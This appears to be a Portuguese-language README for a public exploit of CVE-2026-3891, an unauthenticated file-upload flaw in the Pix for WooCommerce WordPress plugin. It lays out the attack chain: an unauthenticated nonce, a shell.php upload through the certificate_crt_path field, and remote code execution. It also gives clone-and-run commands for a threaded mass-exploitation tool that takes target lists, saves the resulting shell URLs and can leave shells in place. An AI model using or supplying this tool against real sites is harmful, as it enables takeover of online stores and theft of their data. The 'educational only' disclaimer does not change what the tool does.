
Pix para WooCommerce Upload de Arquivo Não Autenticado através do parâmetro certificate_crt_path | CVSS 9.8
CVE-2026-3891 é uma vulnerabilidade crítica (CVSS 9.8) de upload arbitrário de arquivo não autenticado no plugin WordPress Pix for WooCommerce (por linknacional) versões ≤ 1.5.0.
O manipulador AJAX lkn_pix_for_woocommerce_c6_save_settings possui:
certificate_crt_pathlkn_pix_for_woocommerce_generate_nonce sem autenticaçãoOs arquivos enviados vão parar no diretório acessível pela web /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/.
| Versão | Status |
|---|---|
| ≤ 1.5.0 | Vulnerável |
| 1.6.0+ | Corrigida |
Descoberto por: Alexis Lafontaine via Wordfence (13 de março de 2026)
// Nonce generated without auth
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
// Upload handler — no capability check, no file type validation
add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_c6_save_settings', ...);
function c6_save_settings() {
// No current_user_can() check
// No wp_check_filetype() call
move_uploaded_file($_FILES['certificate_crt_path']['tmp_name'], $dest);
}
1. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_generate_nonce
→ Get valid nonce (no auth needed)
2. POST /wp-admin/admin-ajax.php?action=lkn_pix_for_woocommerce_c6_save_settings
→ Upload shell.php via certificate_crt_path field
3. GET /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/shell.php
→ RCE
git clone https://github.com/shinthink/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt
python cve_2026_3891.py -t target.com
python cve_2026_3891.py -f targets.txt -o shells.txt
python cve_2026_3891.py -t target.com --debug --no-cleanup
-t, --target Alvo único
-f, --file Lista de alvos
-o, --output Salvar URLs RCE
--threads Trabalhadores (padrão: 30)
--no-cleanup Deixar shells no alvo
--debug Mostrar cada requisição
-v, --verbose Saída detalhada
APENAS PARA FINS EDUCACIONAIS E DE TESTE AUTORIZADO. Os autores não assumem nenhuma responsabilidade por uso indevido.
| Recurso | Link |
|---|---|
| Comunicado do Wordfence | wordfence.com |
| Entrada NVD | CVE-2026-3891 |
| Pesquisador | Alexis Lafontaine |
Não afiliado à linknacional ou Pix for WooCommerce.